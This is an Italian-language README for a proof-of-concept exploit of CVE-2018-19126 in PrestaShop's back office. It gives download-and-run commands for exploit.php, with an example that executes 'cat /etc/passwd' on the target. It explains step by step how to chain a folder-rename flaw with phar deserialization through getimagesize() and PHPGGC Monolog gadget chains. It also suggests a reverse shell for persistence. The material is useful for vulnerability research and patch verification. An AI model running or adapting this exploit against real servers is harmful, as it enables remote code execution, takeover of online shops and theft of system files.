
PrestaShop (1.6.x <= 1.6.1.23 o 1.7.x <= 1.7.4.4) Esecuzione Remota di Codice nel Back Office (CVE-2018-19126)
Questo è il PoC per la CVE-2018-19126, che combina più vulnerabilità nel Back Office di PrestaShop per attivare la deserializzazione tramite phar e ottenere l'esecuzione di codice in remoto.
Prerequisiti:

Nota di rilascio di PrestaShop: http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/
Link al pacchetto vulnerabile: https://assets.prestashop2.com/en/system/files/ps_releases/prestashop_1.7.4.3.zip
SOLO PER SCOPI EDUCATIVI. NON UTILIZZARE QUESTO SCRIPT PER ATTIVITÀ ILLEGALI. L'AUTORE NON È RESPONSABILE DI QUALSIASI USO IMPROPRIO O DANNO.
È necessario php con l'estensione curl e impostare phar.readonly = Off in per eseguire l'exploit.
php.ini# Download repository
wget https://github.com/farisv/PrestaShop-CVE-2018-19126/archive/master.zip -O PrestaShop-CVE-2018-19126.zip
unzip PrestaShop-CVE-2018-19126.zip
cd PrestaShop-CVE-2018-19126-master
# Run the exploit
# Usage: php exploit.php back-office-url email password func param
php exploit.php http://127.0.0.1/admin-dev/ [email protected] 54l35m4n123 system 'cat /etc/passwd'
Nota che la directory di upload verrà rinominata e non potrai caricare di nuovo il file phar malevolo se il nome della cartella non viene ripristinato. Potresti voler eseguire una reverse shell per ottenere una RCE persistente o includere nel payload il comando per rinominare nuovamente la cartella (devi conoscere il percorso della directory di upload).
Possiamo ottenere deserializzazione implicita con il wrapper phar tramite la funzione getimagesize() in [back-office-path]/filemanager/ajax_calls.php.
case 'image_size':
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
$info = getimagesize(substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)));
echo json_encode($info);
}
Dobbiamo trovare il modo affinché getimagesize() venga chiamata con l'URL del wrapper phar come parametro, bypassando alcuni controlli.
Il primo controllo con realpath() è piuttosto restrittivo.
if (realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) != realpath(_PS_ROOT_DIR_.$upload_dir)) {
die();
}
La variabile $upload_dir proviene da config.php, che è impostata con $upload_dir = Context::getContext()->shop->getBaseURI().'img/cms/'; di default. Non possiamo usare phar://[string] in $_POST['path'] perché realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) restituirà false in quanto non esiste.
Esiste un'altra vulnerabilità (CVE-2018-19125) che consente all'utente di eliminare o rinominare $upload_dir. Se la directory $upload_dir non esiste, realpath(_PS_ROOT_DIR_.$upload_dir) restituirà false e possiamo bypassare questo controllo perché anche realpath(dirname(_PS_ROOT_DIR_.$_POST['path'])) è false. Questa vulnerabilità è stata scoperta durante la revisione del codice mentre si cercava il modo per il bypass :).
In breve, CVE-2018-19125 consente che il parametro path nella chiamata alle azioni delete_folder o rename_folder in execute.php sia vuoto, così l'applicazione eliminerà/rinominerà $upload_dir al suo posto.
Il secondo controllo è semplice: $_POST['path'] deve contenere $upload_dir.
$pos = strpos($_POST['path'], $upload_dir);
if ($pos !== false) {
Possiamo semplicemente aggiungere /img/cms/ all'URL phar dopo il percorso del file phar perché se la directory non esiste all'interno dell'archivio phar, la deserializzazione avviene comunque. La funzione substr_replace($_POST['path'], $current_path, $pos, strlen($upload_dir)) sostituirà solo /img/cms/ con il percorso assoluto ($current_path) di quella cartella (ad es. /var/www/html/img/cms/ se l'applicazione è installata in /var/www/html/).
Poiché possiamo controllare la funzione getimagesize() per elaborare un URL con wrapper phar, dobbiamo caricare il file phar malevolo sul server. Di default, FileManager in PrestaShop consente solo 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'svg', 'pdf', 'mov', 'mpeg', 'mp4', 'avi', 'mpg', 'wma', 'flv' e 'webm' come estensioni. Possiamo semplicemente creare il payload e salvarlo con un'estensione valida. Possiamo usare le gadget chain Monolog di PHPGGC (https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/) poiché sono usate da PrestaShop.
Passaggi finali dello sfruttamento:
image_size con phar://../../img/renamed/phar.pdf/img/cms/ come parametro path.Lo script exploit.php eseguirà automaticamente tutti i passaggi.
Ricorda che la directory di upload viene rinominata al passaggio 3 e non puoi caricare di nuovo il file phar malevolo se il nome della cartella non viene ripristinato. Potresti voler usare una reverse shell come payload o includere nel payload il comando per rinominare nuovamente la cartella (devi conoscere il percorso della directory di upload).